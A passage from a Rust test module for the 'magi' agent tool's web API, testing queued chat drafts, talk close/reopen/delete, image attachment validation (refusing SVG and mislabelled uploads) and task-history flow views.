9625    /// operator's text as a queued draft and then reclaims the turn slot if
9626    /// the holder gave it up in the meantime - and whoever reclaims owes that
9627    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
9628    /// which finishes whether or not the future awaiting it is still there,
9629    /// so a handler dropped at that `.await` used to leave the draft written
9630    /// to disk with the reclaimed guard dropped unread and no drainer ever
9631    /// started: the message sat queued until some unrelated later `say`
9632    /// happened to pick it up.
9633    ///
9634    /// This used to drive the handler future by hand, polling it a fixed
9635    /// number of times to park it at the `.await` where it asks for the turn
9636    /// and finds it busy, before the reclaim's slot-free case could be set up
9637    /// underneath it. That assumed a fixed number of polls lands at a fixed
9638    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
9639    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
9640    /// poll, so any number of this handler's several `blocking` awaits can
9641    /// collapse into one poll under load, landing the drive somewhere other
9642    /// than intended - including, occasionally, straight past the handler's
9643    /// own completion, which made polling it again panic with "async fn
9644    /// resumed after completion". No poll count fixes that; the handler's
9645    /// progress simply is not something a caller outside it can observe by
9646    /// counting.
9647    ///
9648    /// [`BusyQueueGate`] replaces the poll count with a real stop point
9649    /// inside the write itself, so the interleaving under test is pinned by
9650    /// an event instead of a guess: the gate fires only once the handler has
9651    /// actually decided `Busy` and is about to persist the draft, and it
9652    /// blocks that write until the test lets it through. Between those two
9653    /// moments the test drains the turn the handler found busy - through
9654    /// `drain_loop`, the protocol's other half - and then aborts the handler
9655    /// task outright, the same way axum drops a disconnected request's
9656    /// future. The write, and the reclaim it may do, run to completion
9657    /// regardless: they live in the `tokio::spawn` task the busy branch hands
9658    /// to the runtime before ever touching the gate, wholly independent of
9659    /// whether the handler that started it is still around - which is what
9660    /// this test is actually checking. A drainer other than that reclaim
9661    /// cannot exist here: the test's own `drain_loop` call happens before the
9662    /// gate opens, so it runs while the queue is still empty and hands the
9663    /// turn straight back rather than draining anything, closing off the
9664    /// possibility of the final assertion passing without the reclaim ever
9665    /// having done its job.
9666    #[tokio::test]
9667    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9668        let tmp = TempDir::new().expect("tempdir");
9669        let repo = tmp.path().join("repo");
9670        std::fs::create_dir_all(&repo).expect("repo dir");
9671        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9672        let home = TempDir::new().expect("temp home");
9673        let talks = Talks::at(home.path().join("talks"));
9674        let ui = Arc::new(
9675            Ui::new(
9676                Queue::at(home.path().join("queue")),
9677                Questions::at(home.path().join("questions")),
9678                talks.clone(),
9679                home.path().join("runs"),
9680                home.path().to_path_buf(),
9681                repo.clone(),
9682            )
9683            .with_worktrees_root(home.path().join("wt")),
9684        );
9685        let cfg = config_for(&repo).await.expect("discover config");
9686
9687        for attempt in 0..3u32 {
9688            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9689            let id = talk.id.clone();
9690            // A turn is already running, which is what sends `talk_say` down
9691            // the busy branch.
9692            let turn_guard = ui
9693                .begin_talk_turn(&id)
9694                .expect("claim the turn")
9695                .expect("a fresh talk owes nobody a turn");
9696
9697            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9698            let (release_tx, release_rx) = std::sync::mpsc::channel();
9699            ui.set_busy_queue_gate(BusyQueueGate {
9700                reached: reached_tx,
9701                release: release_rx,
9702            });
9703
9704            let handler = tokio::spawn(talk_say(
9705                State(Arc::clone(&ui)),
9706                Path(id.clone()),
9707                Ok(Json(NewTalkTurn {
9708                    text: "what does the queue module do?".to_owned(),
9709                    attachments: Vec::new(),
9710                })),
9711            ));
9712
9713            // Wait for the busy branch to actually reach the gate, rather
9714            // than for any fixed number of polls of anything - a bounded
9715            // wait rather than a bare `.await` so a regression that never
9716            // reaches the gate fails the test instead of hanging it.
9717            tokio::time::timeout(Duration::from_secs(5), reached_rx)
9718                .await
9719                .unwrap_or_else(|_| {
9720                    panic!(
9721                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9722                    )
9723                })
9724                .expect("the busy branch dropped the gate without using it");
9725
9726            // The turn that was running now finishes and gives the slot up
9727            // the way a real one does - through `drain_loop`, which finds
9728            // nothing queued yet (the write is still held at the gate) and
9729            // releases. The handler, parked inside `spawn_blocking` on the
9730            // other side of the gate, still believes the talk is busy -
9731            // exactly the interleaving the reclaim exists for.
9732            let running = talks.get(&id).expect("reload talk");
9733            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9734
9735            // Drop the handler future now, the way a reloading phone drops
9736            // it: suspended waiting on the busy branch's answer, having
9737            // itself made no more progress since it handed the write off.
9738            handler.abort();
9739            let _ = handler.await;
9740
9741            // Only now let the gated write proceed. It persists the draft
9742            // and reclaims the now-free slot from inside the task the busy
9743            // branch already spawned - unaffected by the handler's abort
9744            // above, since that task was independent of the handler's own
9745            // future from the moment it was spawned.
9746            let _ = release_tx.send(());
9747
9748            // A settled talk: the draft drained into an operator turn and
9749            // answered.
9750            let mut fresh = talks.get(&id).expect("reload talk");
9751            for _ in 0..SETTLE_STEPS {
9752                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9753                    break;
9754                }
9755                tokio::time::sleep(Duration::from_millis(10)).await;
9756                fresh = talks.get(&id).expect("reload talk");
9757            }
9758            assert!(
9759                fresh.pending.is_empty() && fresh.turns.len() == 2,
9760                "attempt {attempt}: talk {id} left the operator's text queued \
9761                 with no drainer - the reclaimed turn was dropped along with \
9762                 the handler future (pending {:?}, {} turns)",
9763                fresh.pending,
9764                fresh.turns.len()
9765            );
9766        }
9767    }
9768
9769    #[tokio::test]
9770    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9771        let (_tmp, _repo, f) = talk_fixture().await;
9772        let id = f.post("/api/talks", None).await.json()["id"]
9773            .as_str()
9774            .expect("id")
9775            .to_owned();
9776        let store = f.talks();
9777        let mut recovered = store.get(&id).expect("opened talk");
9778        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9779            .expect("persist pending draft without a live turn");
9780
9781        let edited = f
9782            .post(
9783                &format!("/api/talks/{id}/pending/edit"),
9784                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9785            )
9786            .await;
9787        assert_eq!(edited.status, 200, "{}", edited.body);
9788        assert!(edited.json()["thinking"].as_bool().unwrap());
9789
9790        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9791        for _ in 0..SETTLE_STEPS {
9792            if detail["turns"].as_array().expect("turns").len() == 2 {
9793                break;
9794            }
9795            tokio::time::sleep(Duration::from_millis(10)).await;
9796            detail = f.get(&format!("/api/talks/{id}")).await.json();
9797        }
9798        let turns = detail["turns"].as_array().expect("turns");
9799        assert_eq!(
9800            turns.len(),
9801            2,
9802            "the recovered draft must run once: {detail}"
9803        );
9804        assert_eq!(turns[0]["body"], "corrected");
9805        assert_eq!(detail["pending"], "");
9806    }
9807
9808    #[tokio::test]
9809    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9810        let tmp = TempDir::new().expect("tempdir");
9811        let repo = tmp.path().join("repo");
9812        std::fs::create_dir_all(&repo).expect("repo dir");
9813        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9814        let f = Fixture::with_repo(repo).await;
9815        let id = f.post("/api/talks", None).await.json()["id"]
9816            .as_str()
9817            .expect("id")
9818            .to_owned();
9819        let store = f.talks();
9820        let mut recovered = store.get(&id).expect("opened talk");
9821        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9822            .expect("persist pending draft without a live turn");
9823
9824        let refused = f
9825            .post(
9826                &format!("/api/talks/{id}/say"),
9827                Some(r#"{"text":"new message"}"#),
9828            )
9829            .await;
9830        assert_eq!(refused.status, 409, "{}", refused.body);
9831        assert!(refused.body.contains("resume"), "{}", refused.body);
9832        let saved = store.get(&id).expect("draft remains after refusal");
9833        assert!(saved.turns.is_empty());
9834        assert_eq!(saved.pending, "saved before restart");
9835
9836        let say_path = format!("/api/talks/{id}/say");
9837        let (first, second) = tokio::join!(
9838            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9839            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9840        );
9841        assert_eq!(first.status, 409, "{}", first.body);
9842        assert_eq!(second.status, 409, "{}", second.body);
9843        let saved = store
9844            .get(&id)
9845            .expect("draft remains after concurrent refusals");
9846        assert!(saved.turns.is_empty());
9847        assert_eq!(saved.pending, "saved before restart");
9848
9849        let resumed = f
9850            .post(&format!("/api/talks/{id}/pending/resume"), None)
9851            .await;
9852        assert_eq!(resumed.status, 202, "{}", resumed.body);
9853        let duplicate = f
9854            .post(&format!("/api/talks/{id}/pending/resume"), None)
9855            .await;
9856        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9857
9858        for _ in 0..SETTLE_STEPS {
9859            if store.get(&id).expect("talk").turns.len() == 2 {
9860                break;
9861            }
9862            tokio::time::sleep(Duration::from_millis(10)).await;
9863        }
9864        let finished = store.get(&id).expect("finished talk");
9865        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9866        assert_eq!(finished.turns[0].body, "saved before restart");
9867        assert!(finished.pending.is_empty());
9868    }
9869
9870    #[tokio::test]
9871    async fn an_image_only_recovered_draft_resumes_without_text() {
9872        let (_tmp, _repo, f) = talk_fixture().await;
9873        let id = f.post("/api/talks", None).await.json()["id"]
9874            .as_str()
9875            .expect("id")
9876            .to_owned();
9877        let uploaded = f
9878            .post_bytes(
9879                &format!("/api/talks/{id}/attachments"),
9880                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9881                PNG_BYTES,
9882            )
9883            .await;
9884        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9885        let attachment = f
9886            .talks()
9887            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9888            .expect("attachment metadata")
9889            .expect("stored attachment");
9890        let store = f.talks();
9891        let mut recovered = store.get(&id).expect("opened talk");
9892        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9893
9894        let resumed = f
9895            .post(&format!("/api/talks/{id}/pending/resume"), None)
9896            .await;
9897        assert_eq!(resumed.status, 202, "{}", resumed.body);
9898        for _ in 0..SETTLE_STEPS {
9899            if store.get(&id).expect("talk").turns.len() == 2 {
9900                break;
9901            }
9902            tokio::time::sleep(Duration::from_millis(10)).await;
9903        }
9904        let finished = store.get(&id).expect("finished talk");
9905        assert_eq!(finished.turns.len(), 2, "{finished:?}");
9906        assert!(finished.turns[0].body.is_empty());
9907        assert_eq!(finished.turns[0].attachments.len(), 1);
9908        assert!(finished.pending_attachments.is_empty());
9909    }
9910
9911    #[tokio::test]
9912    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9913        let (_tmp, _repo, f) = talk_fixture().await;
9914        let id = f.post("/api/talks", None).await.json()["id"]
9915            .as_str()
9916            .expect("id")
9917            .to_owned();
9918        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9919        assert_eq!(closed.status, 200, "{}", closed.body);
9920        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9921            .expect("serialize closed talk");
9922        for (path, body) in [
9923            (format!("/api/talks/{id}/pending/resume"), None),
9924            (
9925                format!("/api/talks/{id}/pending/clear"),
9926                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9927            ),
9928            (
9929                format!("/api/talks/{id}/pending/edit"),
9930                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9931            ),
9932            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9933        ] {
9934            let response = f.post(&path, body).await;
9935            assert_eq!(response.status, 409, "{}", response.body);
9936        }
9937        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9938            .expect("serialize closed talk");
9939        assert_eq!(
9940            after_clear, before_clear,
9941            "clear must not rewrite a closed talk"
9942        );
9943    }
9944
9945    /// Keeps both claims observable long enough to exercise the distinction
9946    /// between one busy talk and a globally locked Chat surface.
9947    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9948
9949    #[tokio::test]
9950    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9951        let tmp = TempDir::new().expect("tempdir");
9952        let repo = tmp.path().join("repo");
9953        std::fs::create_dir_all(&repo).expect("repo dir");
9954        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9955        let f = Fixture::with_repo(repo).await;
9956        let id_a = f.post("/api/talks", None).await.json()["id"]
9957            .as_str()
9958            .unwrap()
9959            .to_owned();
9960        let id_b = f.post("/api/talks", None).await.json()["id"]
9961            .as_str()
9962            .unwrap()
9963            .to_owned();
9964
9965        let a = f
9966            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9967            .await;
9968        assert_eq!(a.status, 202, "{}", a.body);
9969        assert_eq!(a.json()["thinking"], true);
9970        let b = f
9971            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9972            .await;
9973        assert_eq!(b.status, 202, "{}", b.body);
9974        assert_eq!(b.json()["thinking"], true);
9975
9976        let listed = f.get("/api/talks").await.json();
9977        for id in [&id_a, &id_b] {
9978            let view = listed
9979                .as_array()
9980                .unwrap()
9981                .iter()
9982                .find(|talk| talk["id"] == *id)
9983                .unwrap();
9984            assert_eq!(view["thinking"], true, "{listed}");
9985        }
9986        let repeated = f
9987            .post(
9988                &format!("/api/talks/{id_a}/say"),
9989                Some(r#"{"text":"again"}"#),
9990            )
9991            .await;
9992        assert_eq!(repeated.status, 202, "{}", repeated.body);
9993        assert_eq!(repeated.json()["pending"], "again");
9994    }
9995
9996    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
9997    /// few more, since real uploads are never exactly eight bytes.
9998    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9999
10000    #[tokio::test]
10001    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10002        let f = Fixture::start().await;
10003        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10004
10005        let res = f
10006            .post_bytes(
10007                &format!("/api/talks/{id}/attachments"),
10008                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10009                PNG_BYTES,
10010            )
10011            .await;
10012        assert_eq!(res.status, 201, "{}", res.body);
10013        let body = res.json();
10014        assert_eq!(body["name"], "shot.png");
10015        assert_eq!(body["mime"], "image/png");
10016        assert_eq!(body["bytes"], PNG_BYTES.len());
10017        let att_id = body["id"].as_str().expect("id").to_owned();
10018        assert_eq!(
10019            att_id.len(),
10020            32,
10021            "the id must never be a client-suppliable path: {att_id}"
10022        );
10023
10024        let got = f
10025            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10026            .await;
10027        assert_eq!(got.status, 200, "{}", got.body);
10028        assert_eq!(got.header("content-type"), Some("image/png"));
10029        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10030        assert_eq!(got.bytes, PNG_BYTES);
10031    }
10032
10033    #[tokio::test]
10034    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10035        let f = Fixture::start().await;
10036        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10037
10038        // SVG can carry a `<script>`, so it is never on the whitelist even
10039        // though it is a real IANA image type.
10040        let svg = f
10041            .post_bytes(
10042                &format!("/api/talks/{id}/attachments"),
10043                &[("Content-Type", "image/svg+xml")],
10044                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10045            )
10046            .await;
10047        assert!(
10048            (400..500).contains(&svg.status),
10049            "svg must be refused: {} {}",
10050            svg.status,
10051            svg.body
10052        );
10053        assert!(svg.body.contains("SVG"), "{}", svg.body);
10054
10055        let text = f
10056            .post_bytes(
10057                &format!("/api/talks/{id}/attachments"),
10058                &[("Content-Type", "text/plain")],
10059                b"just some text",
10060            )
10061            .await;
10062        assert!(
10063            (400..500).contains(&text.status),
10064            "an unlisted type must be refused: {} {}",
10065            text.status,
10066            text.body
10067        );
10068
10069        // The declared type is a real png, but the size check runs before
10070        // the bytes are even looked at.
10071        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10072        let big = f
10073            .post_bytes(
10074                &format!("/api/talks/{id}/attachments"),
10075                &[("Content-Type", "image/png")],
10076                &oversized,
10077            )
10078            .await;
10079        assert_eq!(
10080            big.status,
10081            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10082            "{}",
10083            big.body
10084        );
10085    }
10086
10087    #[tokio::test]
10088    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10089        let f = Fixture::start().await;
10090        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10091
10092        // A whitelisted `Content-Type`, but bytes that are not actually a
10093        // png - the declared header alone is never trusted.
10094        let res = f
10095            .post_bytes(
10096                &format!("/api/talks/{id}/attachments"),
10097                &[("Content-Type", "image/png")],
10098                b"<html>not a picture</html>",
10099            )
10100            .await;
10101        assert!((400..500).contains(&res.status), "{}", res.body);
10102    }
10103
10104    #[tokio::test]
10105    async fn an_unknown_attachment_id_is_a_404() {
10106        let f = Fixture::start().await;
10107        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10108
10109        let res = f
10110            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10111            .await;
10112        assert_eq!(res.status, 404, "{}", res.body);
10113    }
10114
10115    #[tokio::test]
10116    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10117        let f = Fixture::start().await;
10118        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10119
10120        let uploaded = f
10121            .post_bytes(
10122                &format!("/api/talks/{id}/attachments"),
10123                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10124                PNG_BYTES,
10125            )
10126            .await;
10127        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10128        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10129
10130        let res = f
10131            .post(
10132                &format!("/api/talks/{id}/say"),
10133                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10134            )
10135            .await;
10136        assert_eq!(res.status, 202, "{}", res.body);
10137        let queued = res.json();
10138        let turns = queued["turns"].as_array().expect("turns array");
10139        assert_eq!(
10140            turns.len(),
10141            1,
10142            "an empty body with an attachment is still a turn: {queued}"
10143        );
10144        assert_eq!(turns[0]["who"], "operator");
10145        assert_eq!(turns[0]["body"], "");
10146        let atts = turns[0]["attachments"]
10147            .as_array()
10148            .expect("attachments array");
10149        assert_eq!(atts.len(), 1);
10150        assert_eq!(atts[0]["id"], att_id);
10151        assert_eq!(atts[0]["mime"], "image/png");
10152
10153        // Not only in the response: `record` flushes to disk before the
10154        // agent's own turn is even spawned.
10155        let on_disk = f.talks().get(&id).expect("get");
10156        assert_eq!(on_disk.turns[0].attachments.len(), 1);
10157        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10158    }
10159
10160    #[tokio::test]
10161    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10162        let f = Fixture::start().await;
10163        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10164
10165        let res = f
10166            .post(
10167                &format!("/api/talks/{id}/say"),
10168                Some(&format!(
10169                    r#"{{"text":"hi","attachments":["{}"]}}"#,
10170                    "a".repeat(32)
10171                )),
10172            )
10173            .await;
10174        assert!((400..500).contains(&res.status), "{}", res.body);
10175        assert!(res.body.contains("unknown attachment"), "{}", res.body);
10176
10177        let on_disk = f.talks().get(&id).expect("get");
10178        assert!(
10179            on_disk.turns.is_empty(),
10180            "a rejected attachment id must not partially record the turn: {:?}",
10181            on_disk.turns
10182        );
10183    }
10184
10185    #[tokio::test]
10186    async fn talk_close_makes_the_talk_refuse_further_turns() {
10187        let f = Fixture::start().await;
10188        let id = seed_talk(&f, "20260904-014455-cd34", "open");
10189
10190        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10191        assert_eq!(closed.status, 200, "{}", closed.body);
10192        assert_eq!(closed.json()["status"], "closed");
10193
10194        // Idempotent: closing an already-closed talk is not an error.
10195        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10196        assert_eq!(closed_again.status, 200);
10197        assert_eq!(closed_again.json()["status"], "closed");
10198
10199        let said = f
10200            .post(
10201                &format!("/api/talks/{id}/say"),
10202                Some(r#"{"text":"too late"}"#),
10203            )
10204            .await;
10205        assert_eq!(said.status, 409, "{}", said.body);
10206    }
10207
10208    #[tokio::test]
10209    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10210        let (_tmp, _repo, f) = talk_fixture().await;
10211        let id = f.post("/api/talks", None).await.json()["id"]
10212            .as_str()
10213            .expect("id")
10214            .to_owned();
10215        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10216        assert_eq!(closed.status, 200, "{}", closed.body);
10217
10218        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10219        assert_eq!(reopened.status, 200, "{}", reopened.body);
10220        assert_eq!(reopened.json()["status"], "open");
10221
10222        // Idempotent: reopening an already-open talk is not an error.
10223        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10224        assert_eq!(reopened_again.status, 200);
10225        assert_eq!(reopened_again.json()["status"], "open");
10226
10227        let said = f
10228            .post(
10229                &format!("/api/talks/{id}/say"),
10230                Some(r#"{"text":"still there?"}"#),
10231            )
10232            .await;
10233        assert_eq!(
10234            said.status, 202,
10235            "a reopened talk accepts turns again: {}",
10236            said.body
10237        );
10238    }
10239
10240    #[tokio::test]
10241    async fn talk_reopen_on_an_unknown_id_is_404() {
10242        let f = Fixture::start().await;
10243        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10244        assert_eq!(res.status, 404, "{}", res.body);
10245    }
10246
10247    #[tokio::test]
10248    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10249        let f = Fixture::start().await;
10250        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10251
10252        let deleted = f.delete(&format!("/api/talks/{id}")).await;
10253        assert_eq!(deleted.status, 204, "{}", deleted.body);
10254
10255        let after = f.get(&format!("/api/talks/{id}")).await;
10256        assert_eq!(after.status, 404, "{}", after.body);
10257
10258        let listed = f.get("/api/talks").await.json();
10259        assert!(
10260            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10261            "a deleted talk must not linger in the list: {listed}"
10262        );
10263    }
10264
10265    #[tokio::test]
10266    async fn talk_delete_on_an_unknown_id_is_404() {
10267        let f = Fixture::start().await;
10268        let res = f.delete("/api/talks/nonexistent-id").await;
10269        assert_eq!(res.status, 404, "{}", res.body);
10270    }
10271
10272    /// A task's page lists every run it ever had, in order, and says what kind
10273    /// of attempt each was - including a resume, which re-pushes the same run
10274    /// id, and a run whose record this build cannot read.
10275    #[tokio::test]
10276    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10277        let f = Fixture::start().await;
10278        let (a, b, gone) = (
10279            "20260902-140501-aaaa",
10280            "20260902-140502-bbbb",
10281            "20260902-140503-cccc",
10282        );
10283        write_run(&f.runs(), a, RunStatus::Stalled);
10284        let mut review = RunState::new(
10285            PathBuf::from("/repo/magi"),
10286            "main".to_owned(),
10287            "0123456789abcdef".to_owned(),
10288            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10289                .to_owned(),
10290            Config::default(),
10291        );
10292        review.id = b.to_owned();
10293        review.status = RunStatus::Merged;
10294        write_state(&f.runs(), &review);
10295
10296        let mut task = Task::new(
10297            "retry".to_owned(),
10298            "Do the thing".to_owned(),
10299            PathBuf::from("/repo/magi"),
10300            Source::Human,
10301        );
10302        task.start(a.to_owned());
10303        task.stall("quota");
10304        task.start(a.to_owned());
10305        task.start(b.to_owned());
10306        task.start(gone.to_owned());
10307        f.queue().put(&mut task).expect("file the task");
10308
10309        let res = f.get(&format!("/api/queue/{}", task.id)).await;
10310        assert_eq!(res.status, 200, "{}", res.body);
10311        let v = res.json();
10312        let h = v["history"].as_array().expect("history");
10313        assert_eq!(h.len(), 4, "{v}");
10314        assert_eq!(h[0]["kind"], "competition");
10315        assert_eq!(h[0]["status"], "stalled");
10316        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10317        assert_eq!(h[1]["kind"], "resume", "{v}");
10318        assert!(
10319            h[0]["outcome"]
10320                .as_str()
10321                .unwrap()
10322                .contains("unknown. Pass #2"),
10323            "an earlier pass of a resumed run must not claim the final outcome: {v}"
10324        );
10325        assert!(
10326            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10327            "{v}"
10328        );
10329        assert!(
10330            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10331            "an unrecorded cause must not be narrated as an operator park: {v}"
10332        );
10333        assert_eq!(h[2]["kind"], "review");
10334        assert!(
10335            h[2]["description"]
10336                .as_str()
10337                .unwrap()
10338                .contains("magi/aaaa/A")
10339        );
10340        assert_eq!(h[2]["status"], "merged");
10341        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10342        assert_eq!(v["runs_unreadable"], 1);
10343        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10344        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10345        assert_eq!(nodes[4]["note"], "unreadable");
10346        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10347        assert_eq!(v["instruction"], "Do the thing");
10348        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10349
10350        // The run's own page links back to the task.
10351        let run = f.get(&format!("/api/runs/{a}")).await.json();
10352        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10353
10354        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10355    }
10356
10357    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10358        let mut s = RunState::new(
10359            PathBuf::from("/repo/magi"),
10360            "main".to_owned(),
10361            "0123456789abcdef".to_owned(),
10362            "Do it".to_owned(),
10363            Config::default(),
10364        );
10365        s.status = status;
10366        edit(&mut s);
10367        s
10368    }
10369
10370    fn flow_task(runs: &[&str]) -> Task {
10371        let mut t = Task::new(
10372            "t".to_owned(),
10373            "Do it".to_owned(),
10374            PathBuf::from("/repo/magi"),
10375            Source::Human,
10376        );
10377        for r in runs {
10378            t.start((*r).to_owned());
10379        }
10380        t
10381    }
10382
10383    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10384        let h = task_history(task, |id| {
10385            states
10386                .iter()
10387                .find(|(i, _)| *i == id)
10388                .and_then(|(_, s)| s.clone())
10389        });
10390        task_flow(task, &h, 5, None)
10391    }
10392
10393    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10394        crate::queue::FollowUp {
10395            run: "20260901-000000-aaaa".to_owned(),
10396            origin_task: origin_task.map(str::to_owned),
10397            pr: "https://example.com/o/r/pull/1".to_owned(),
10398            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10399                .map(str::to_owned)
10400                .to_vec(),
10401            generation: 1,
10402        }
10403    }
10404
10405    fn parent_task() -> Task {
10406        let mut p = flow_task(&[]);
10407        p.title = "Parent title".to_owned();
10408        p.status = TaskStatus::Done;
10409        p
10410    }
10411
10412    #[test]
10413    fn flow_opens_with_the_parent_task_of_a_followup() {
10414        let p = parent_task();
10415        let pid = p.id.clone();
10416        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10417        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10418        let n = &f.nodes[0];
10419        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10420        assert_eq!(
10421            n.label,
10422            format!("Follow-up of {}", crate::queue::short(&pid))
10423        );
10424        assert_eq!(n.detail.as_deref(), Some("Parent title"));
10425        assert_eq!(n.status, Some("done"));
10426        assert_eq!(n.status_of, "task");
10427        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10428        assert_eq!(f.nodes[1].key, "start");
10429        assert_eq!(f.edges[0].from, "origin");
10430        assert_eq!(
10431            f.edges[0].label,
10432            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10433        );
10434    }
10435
10436    #[test]
10437    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10438        let o = followup_origin(
10439            &fu(Some("gone")),
10440            |_| None,
10441            |_| {
10442                Some(RunState::new(
10443                    std::path::PathBuf::from("."),
10444                    "main".to_owned(),
10445                    "0".to_owned(),
10446                    "t".to_owned(),
10447                    crate::config::Config::default(),
10448                ))
10449            },
10450        );
10451        assert!(o.parent.is_none());
10452        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10453        let n = &f.nodes[0];
10454        assert_eq!(n.status_of, "run");
10455        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10456        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10457    }
10458
10459    #[test]
10460    fn flow_followup_with_nothing_readable_has_no_link() {
10461        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10462        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10463        let n = &f.nodes[0];
10464        assert_eq!(n.href, None);
10465        assert_eq!(n.note, Some("unreadable"));
10466        assert!(!n.readable);
10467    }
10468
10469    #[test]
10470    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10471        let o = followup_origin(&fu(None), |_| None, |_| None);
10472        let mut t = flow_task(&[]);
10473        t.origin_chat = Some("c1".to_owned());
